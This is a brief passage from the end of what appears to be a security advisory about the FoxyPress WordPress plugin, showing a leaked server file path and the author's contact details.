C:\apache_www\wp342\wp-content\plugins\foxypress\import-export.php on line 8 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |